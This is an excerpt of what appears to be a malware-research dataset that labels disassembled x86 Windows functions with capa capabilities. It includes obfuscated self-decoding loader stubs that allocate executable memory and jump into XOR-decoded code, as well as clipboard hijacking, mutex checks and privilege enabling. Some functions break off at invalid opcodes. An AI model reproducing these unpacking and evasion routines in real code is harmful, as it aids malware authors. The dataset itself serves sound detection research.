joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003c33a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1003c349
pop dword [ebp - 0x34]
mov eax, 0x2918c39c
add eax, 0xe6eaffad
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x7f24b99f
sub dword [ebp - 0x44], 0x30d27454
mov dword [ebp - 0x40], 0x14ae6e77
sub dword [ebp - 0x40], 0xe27b2232
mov dword [ebp - 0x3c], 0xc832c2ac
add dword [ebp - 0x3c], 0x84198182
mov dword [ebp - 0x38], 0x9c98945
add dword [ebp - 0x38], 0xf63676bb
lea eax, [ebp - 0x44]
push eax
mov eax, 0x3c66bfd7
add eax, 0xd39d20a5
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xfc9596dc
add dword [ebp - 0x44], 0x77dcd27a
mov dword [ebp - 0x40], 0x56268f78
add dword [ebp - 0x40], 0xeb45d1fd
mov dword [ebp - 0x3c], 0x542ae59
add dword [ebp - 0x3c], 0x5e2cbe13
mov dword [ebp - 0x38], 0x232e8a4f
sub dword [ebp - 0x38], 0x232e8a4f
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xb808bb9e
sub eax, 0xa804db1a
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3d0e6
push 0
call eax
mov ecx, 0x45c8
xor esi, esi
add esi, eax
mov edx, 0xde5d7870
sub edx, 0xce566670
add edx, dword [ebp - 0x34]
mov edi, 0x98fa6e59
sub edi, 0xd4c2e5bb
xor dword [ebp - 0x14], 0xe9f1a105
mov ebx, dword [edx]
xor ebx, edi
sub dword [ebp - 0x28], edx
mov dword [esi], ebx
xor dword [ebp - 0x20], 0x4c2ce173
add esi, 4
add edx, 0x4fdeeb0b
sub edx, 0x4fdeeb07
loop 0x1003c467
add eax, 0xaa663de7
add eax, 0x559acc0c
mov ebx, eax
add eax, 0x2171c599
sub eax, 0x2171c594
mov ecx, 0x959da4d7
add ecx, 0x7a625b29
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x405a83
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405aa9
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x405aa9
xor al, al
jmp 0x405ac9
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00414490
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x40cdf0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x41a510
call fcn.00413954
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 8
mov dword [esi], 0x41b694
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x14], 0x41b748
push 4
mov ebx, 0x41b684
pop eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.004032a8
mov dword [esi + 0x3c], 0x41b7f8
push 4
mov dword [esi + 0x54], edi
pop eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], eax
mov dword [esi + 0x50], ebx
lea edi, [esi + 0x64]
push eax
mov ecx, edi
mov byte [ebp - 4], al
call fcn.004032a8
mov dword [edi], 0x41b800
lea edi, [esi + 0x78]
mov byte [ebp - 4], 5
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 6
call fcn.0040c3f8
lea edi, [esi + 0xa0]
mov byte [ebp - 4], 7
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 8
call fcn.0040c3f8
lea edi, [esi + 0xc8]
mov byte [ebp - 4], 9
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xa
call fcn.0040c3f8
mov byte [ebp - 4], 0xb
lea edi, [esi + 0xf0]
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xc
call fcn.0040c3f8
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040c3f8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40f953
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040f5db
push eax
push esi
push dword [ebp + 8]
Function at 0x40f97d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.0040f590
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
invalid
inc ebp

Function at 0x413220
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call fcn.004148be
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x413248
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x413257
mov eax, 1
ret 4
Function at 0x10005b9b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10005baa
pop dword [ebp - 0x2c]
mov eax, 0x77dd7af4
add eax, 0x9822e0b6
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x49df4b6
add dword [ebp - 0x3c], 0x49b45095
mov dword [ebp - 0x38], 0xb120afe9
sub dword [ebp - 0x38], 0x7eed63a4
mov dword [ebp - 0x34], 0x4c50ff6b
sub dword [ebp - 0x34], 0x4bb3d
mov dword [ebp - 0x30], 0xc0a97006
add dword [ebp - 0x30], 0x3f568ffa
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x1965c322
add eax, 0xf69afd02
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x6c00c42f
add dword [ebp - 0x3c], 0x871a527
mov dword [ebp - 0x38], 0xc442dabe
add dword [ebp - 0x38], 0x7d2986b7
mov dword [ebp - 0x34], 0x7373dd6b
add dword [ebp - 0x34], 0xeffb8f01
mov dword [ebp - 0x30], 0x7790a97
add dword [ebp - 0x30], 0xf886f569
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xb5631843
sub eax, 0xa5625817
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37cbb
push 0
call eax
mov ecx, 0x8eeb9291
sub ecx, 0x8eeb4b6a
xor edi, edi
add edi, eax
mov edx, 0xd2dd953c
add edx, 0x3d26dec4
add edx, dword [ebp - 0x2c]
mov esi, 0xbf12c43f
sub dword [ebp - 8], ecx
mov ebx, dword [edx]
xor ebx, esi
add dword [ebp - 0x18], eax
mov dword [edi], ebx
sub dword [ebp - 0xc], esi
add edi, 0x567cb28b
add edi, 0xa9834d79
add edx, 4
loop 0x10005cc8
add eax, 0xde803af3
add eax, 0x2180d47c
mov ebx, eax
add eax, 0x69325c26
sub eax, 0x69325c21
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x404a5e
Capabilities:
Encode data using xor
Hash data using sha256
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
mov eax, dword [0x443620]
xor eax, esp
mov dword [esp + 0xd0], eax
mov edx, dword [esp + 0xd8]
push ebx
push ebp
push esi
mov eax, dword [edx + 0xf8]
mov esi, dword [esp + 0xe8]
push edi
push 0x10
mov ebx, dword [eax]
lea edi, [esp + 0xa4]
mov ebp, dword [eax + 4]
xor ebx, 0x510e527f
mov eax, dword [edx + 0xfc]
xor ebp, 0x9b05688c
pop ecx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [edx + 0xf4]
lea edi, [esp + 0x60]
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
xor ecx, 0x1f83d9ab
xor eax, 0x5be0cd19
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x70]
xor esi, esi
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x18], 0x6a09e667
mov dword [esp + 0x24], 0xbb67ae85
mov dword [esp + 0x2c], 0x3c6ef372
mov dword [esp + 0x34], 0xa54ff53a
mov dword [esp + 0x14], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x10], ecx
movzx eax, byte [esi + 0x438728]
mov edi, dword [esp + eax*4 + 0xa0]
add edi, ecx
mov ecx, dword [esp + 0x18]
add edi, dword [esp + 0x60]
mov edx, edi
xor edx, ebx
mov ebx, dword [esp + 0x14]
rol edx, 0x10
add ecx, edx
mov esi, ecx
xor esi, dword [esp + 0x10]
movzx eax, byte [ebx + 0x438729]
ror esi, 0xc
mov eax, dword [esp + eax*4 + 0xa0]
add eax, esi
add eax, edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x18], eax
xor eax, edx
ror eax, 8
mov dword [esp + 0x3c], eax
add eax, ecx
mov dword [esp + 0x48], eax
xor eax, esi
ror eax, 7
mov dword [esp + 0x50], eax
movzx eax, byte [ebx + 0x43872a]
mov ecx, dword [esp + 0x24]
mov esi, dword [esp + eax*4 + 0xa0]
movzx eax, byte [ebx + 0x43872b]
add esi, edi
add esi, dword [esp + 0x64]
mov edx, esi
xor edx, ebp
mov ebp, dword [esp + 0x38]
mov eax, dword [esp + eax*4 + 0xa0]
rol edx, 0x10
add ecx, edx
xor edi, ecx
ror edi, 0xc
add eax, edi
add eax, esi
mov dword [esp + 0x10], eax
xor eax, edx
ror eax, 8
mov dword [esp + 0x44], eax
add eax, ecx
mov dword [esp + 0x58], eax
xor eax, edi
mov ecx, dword [esp + 0x2c]
ror eax, 7
mov dword [esp + 0x24], eax
movzx eax, byte [ebx + 0x43872c]
mov esi, dword [esp + eax*4 + 0xa0]
movzx eax, byte [ebx + 0x43872d]
add esi, ebp
add esi, dword [esp + 0x68]
mov edx, esi
xor edx, dword [esp + 0x20]
mov eax, dword [esp + eax*4 + 0xa0]
rol edx, 0x10
add ecx, edx
xor ebp, ecx
ror ebp, 0xc
add eax, ebp
add eax, esi
mov dword [esp + 0x40], eax
xor eax, edx
ror eax, 8
mov dword [esp + 0x54], eax
lea ebx, [eax + ecx]
invalid
Function at 0x4071e1
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0x1d4
mov eax, dword [0x443620]
xor eax, esp
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1f0]
push ebx
mov ebx, dword [esp + 0x1e0]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1ec]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1f8]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x1fc]
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
push ebp
mov ebp, dword [esp + 0x1e0]
push esi
push edi
mov edi, dword [esp + 0x1fc]
mov dword [esp + 0x1c], edi
cmp ebx, 0x40
jbe 0x40728d
lea eax, [esp + 0xf8]
push eax
call fcn.00411dd4
push ebx
push ebp
lea eax, [esp + 0x100]
push eax
call fcn.00411e1a
lea eax, [esp + 0x1a0]
push eax
lea eax, [esp + 0xfc]
push eax
call fcn.00411cf1
mov edx, dword [esp + 0x10]
lea ebp, [esp + 0x1a0]
push 0x20
pop ebx
test edi, edi
je 0x4072a7
cmp byte [edx], 0
je 0x4072a7
mov esi, edi
lea edi, [esp + 0x28]
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x1c]
jmp 0x407312
xor edx, edx
test ebx, ebx
je 0x4072cd
mov esi, ebp
lea eax, [esp + 0x160]
sub esi, eax
lea ecx, [esp + 0x160]
add ecx, edx
mov al, byte [esi + ecx]
xor al, 0x36
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x4072b8
cmp ebx, 0x40
jae 0x4072ec
push 0x40
pop eax
invalid
Function at 0x407dc3
Capabilities:
Create directory
Delete directory
Delete file

Disassembly:
push ebp
lea ebp, [esp - 0x3044]
mov eax, 0x3044
call fcn.00420e10
push 0xffffffffffffffff
push 0x436cc9
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x443620]
xor eax, ebp
mov dword [ebp + 0x3040], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x445ff3], 0
mov edi, dword [ebp + 0x304c]
mov ebx, dword [ebp + 0x3050]
mov esi, dword [ebp + 0x3054]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esi
jne 0x407e3f
push str.SeRestorePrivilege
call fcn.00408a85
push str.SeCreateSymbolicLinkPrivilege
call fcn.00408a85
mov byte [0x445ff3], 1
push 0x2418
lea ecx, [ebp - 0x38]
call fcn.004012cd
and dword [ebp - 4], 0
lea eax, [esi + 0x10fc]
push 0x800
push eax
lea eax, [ebp + 0x2040]
push eax
call fcn.004123db
lea eax, [ebp + 0x2040]
push eax
call fcn.00425dc5
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x2040]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x1040]
push 4
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x2040]
push 0x438aa8
push eax
call fcn.00429ec7
add esp, 0x10
test eax, eax
sete cl
mov byte [ebp - 0xd], cl
test eax, eax
jne 0x407eb6
lea eax, [ebp + 0x2048]
mov dword [ebp - 0x1c], eax
jmp 0x407ebc
lea eax, [ebp + 0x2040]
test cl, cl
je 0x407eef
push 4
push str.UNC_
push eax
call fcn.00429ec7
add esp, 0xc
test eax, eax
jne 0x407eef
push 0x5c
pop eax
mov word [ebp + 0x1040], ax
lea eax, [ebp + 0x1042]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
add eax, 6
jmp 0x407ef2
mov eax, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
call fcn.00429ea5
lea eax, [ebp + 0x1040]
push eax
call fcn.00425dc5
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [edi + 0x7083], 0
jne 0x407f4e
cmp byte [ebp - 0xd], 0
jne 0x4081cf
lea eax, [esi + 0x10fc]
push eax
call fcn.0040d973
test al, al
jne 0x4081cf
lea eax, [esi + 0x10fc]
push eax
push ebx
lea eax, [esi + 0x28]
push eax
push edi
call fcn.00408837
test al, al
je 0x4081cf
movzx eax, byte [edi + 0x704b]
push eax
push 1
push ebx
call fcn.0040b861
push ebx
call fcn.0040ba3b
test al, al
je 0x407f85
push ebx
call fcn.0040ba4d
push eax
call fcn.0040baae
push ebx
test al, al
je 0x407f80
call fcn.0040b96f
jmp 0x407f85
call fcn.0040b9d5
cmp byte [esi + 0x10e9], 0
jne 0x408050
cmp byte [esi + 0x20fc], 0
jne 0x408050
xor eax, eax
push eax
push 0x80
push 1
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x407fcc
push ebx
mov ecx, 0x446054
invalid
Function at 0x42197c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4219bb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4219bb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4219bb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4219bb
cmp dword [ecx + 0x74], 0xe
jbe 0x4219bb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x425c70
Capabilities:
Encode data using xor

Disassembly:
or dword [0x467b13], ecx
rol ebx, 0x12
xor edx, dword [0x443218]
adc eax, 0x443218
inc esi
xchg esi, esi
inc edx
mov dword [0x4678e6], 0xd4b92e5
neg eax
xor edi, dword [0x4434a1]
xchg esi, edx
neg edx
xor edi, dword [0x443ac8]
inc esp
add byte [ecx], cl
cmp eax, 0x4679c5
rol esi, 0x13
loop 0x425c53
mov ecx, 0x878bba
Function at 0x4034cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4034db
pop dword [ebp - 0x2c]
mov eax, 0x5c1b75b6
sub eax, 0x5bdb40db
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6f8396a
sub dword [ebp - 0x3c], 0xb8a5f41f
mov dword [ebp - 0x38], 0x19f1c42d
add dword [ebp - 0x38], 0x18418818
mov dword [ebp - 0x34], 0xd85afa46
add dword [ebp - 0x34], 0x73f149e8
mov dword [ebp - 0x30], 0x4445bda1
add dword [ebp - 0x30], 0xbbba425f
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xe65659fe
sub eax, 0xe61619aa
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xe4f77b65
add dword [ebp - 0x3c], 0x8f7aedf1
mov dword [ebp - 0x38], 0x436406dc
sub dword [ebp - 0x38], 0x1f7a567
mov dword [ebp - 0x34], 0x7bd99dc7
add dword [ebp - 0x34], 0xe795cea5
mov dword [ebp - 0x30], 0x5f041c36
sub dword [ebp - 0x30], 0x5f041c36
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xd9735afb
sub eax, 0xd9331aab
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x388cc
push 0
call eax
mov ecx, 0xf7e1b605
add ecx, 0x81e98a3
mov esi, eax
mov edx, 0xbc2680bf
add edx, 0x441a0341
add edx, dword [ebp - 0x2c]
mov ebx, 0xfd0568a6
sub ebx, 0xf48f1e80
xor dword [ebp - 0xc], edx
mov edi, dword [edx]
xor dword [ebp - 0x28], edx
add edi, ebx
mov dword [esi], edi
add dword [ebp - 0x20], 0xd5896429
add esi, 0xfb02cdf
add esi, 0xf04fd325
add edx, 0x5b02467
add edx, 0xfa4fdb9d
loop 0x4035fd
add eax, 0x12d73
mov ebx, eax
add eax, 0xe9fd2b5d
add eax, 0x1602d4a8
mov ecx, 0xfe59eaa9
add ecx, 0x1e61557
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4010aa
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401103
push ebx
push edi
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, 0xffffffe6
cmp eax, 0xf85
ja 0x4010f4
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
ret

Function at 0x401108
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenW]
call ebx
cmp eax, 0x19
jl 0x40116f
push esi
push dword [ebp + 8]
call ebx
imul eax, eax, 3
push eax
push 2
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push dword [ebp + 8]
mov esi, eax
call ebx
inc eax
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynW]
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
pop esi
pop ebx
pop ebp
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
pop ebp
ret

Function at 0x40185a
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 2
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x40143c
push edi
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push str.MQJWUWQYEIKKWN
push 1
push edi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4018b2
push esi
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4018b2
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40611c
pop dword [ebp - 0x28]
mov eax, 0xea851c0c
add eax, 0x15bb4510
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x1558b0c5
add dword [ebp - 0x38], 0x38f99486
mov dword [ebp - 0x34], 0xe47f1a4e
sub dword [ebp - 0x34], 0xb24bce09
mov dword [ebp - 0x30], 0x869d0f7
sub dword [ebp - 0x30], 0xbc1d8cc9
mov dword [ebp - 0x2c], 0x66e95346
sub dword [ebp - 0x2c], 0x66e95346
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa86f4fd9
add eax, 0x57d12087
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xed78caf7
sub dword [ebp - 0x38], 0x790661a1
mov dword [ebp - 0x34], 0x141a1e27
add dword [ebp - 0x34], 0x2d52434e
mov dword [ebp - 0x30], 0xe2393878
add dword [ebp - 0x30], 0x813633f4
mov dword [ebp - 0x2c], 0x4e62312a
add dword [ebp - 0x2c], 0xb19dced6
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa67445f5
sub eax, 0xa633d4f5
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x34313
push 0
call eax
mov ecx, 0xb85b4f55
add ecx, 0x47a4ef01
mov ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x28]
mov edx, 0x4eec4e5a
mov dword [ebp - 0x18], 0x40e64c88
mov edi, dword [esi]
sub dword [ebp - 0x18], 0x346db51f
sub edi, edx
xor dword [ebp - 0x1c], 0xba59161b
mov dword [ebx], edi
xor dword [ebp - 0x18], 0xb2512188
add ebx, 0xd0edc3eb
sub ebx, 0xd0edc3e7
add esi, 4
loop 0x406232
add eax, 0xdd8fd485
sub eax, 0xdd8ee85a
xor ebx, ebx
add ebx, eax
add eax, 0xf9457baa
add eax, 0x6ba845b
mov ecx, 0xfc247952
sub ecx, 0xfbe47952
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x10013470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1001347f
pop dword [ebp - 0x3c]
mov eax, 0x37e601ac
add eax, 0xd81b32d3
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x75be77b1
add dword [ebp - 0x4c], 0xd893cd9a
mov dword [ebp - 0x48], 0x1df189b4
sub dword [ebp - 0x48], 0xebbe3d6f
mov dword [ebp - 0x44], 0x419d8558
sub dword [ebp - 0x44], 0xf551412a
mov dword [ebp - 0x40], 0x8d8fa3b2
sub dword [ebp - 0x40], 0x8d8fa3b2
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xe697eda5
add eax, 0x2969c26b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x7916560a
sub dword [ebp - 0x4c], 0x4a3ecb4
mov dword [ebp - 0x48], 0xaa10ecd8
add dword [ebp - 0x48], 0x975b749d
mov dword [ebp - 0x44], 0x24774c1c
add dword [ebp - 0x44], 0x3ef82050
mov dword [ebp - 0x40], 0x1d66eebc
add dword [ebp - 0x40], 0xe2991144
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x3de79208
add eax, 0xd21a1e0c
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3f34a
push 0
call eax
mov ecx, 0x92bf7c4b
sub ecx, 0x92bf308a
xor esi, esi
add esi, eax
mov edi, 0x31930e18
add edi, 0xde6fa1e8
add edi, dword [ebp - 0x3c]
mov ebx, 0x3295f84a
sub ebx, 0xee8ef59
mov dword [ebp - 0x18], 0xa535971e
mov edx, dword [edi]
xor dword [ebp - 0x30], 0x83975955
sub edx, ebx
sub dword [ebp - 0x24], 0x32bea638
mov dword [esi], edx
sub dword [ebp - 8], 0x11c50dc5
add esi, 0x6c6734be
sub esi, 0x6c6734ba
add edi, 0xe33952c9
sub edi, 0xe33952c5
loop 0x100135a3
add eax, 0xff860aae
add eax, 0x7b1729
xor ebx, ebx
add ebx, eax
add eax, 0x395bc75
sub eax, 0x395bc70
mov ecx, 0x366ac686
add ecx, 0xd995397a
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a

Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.1006b2e8
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.1006b2e8
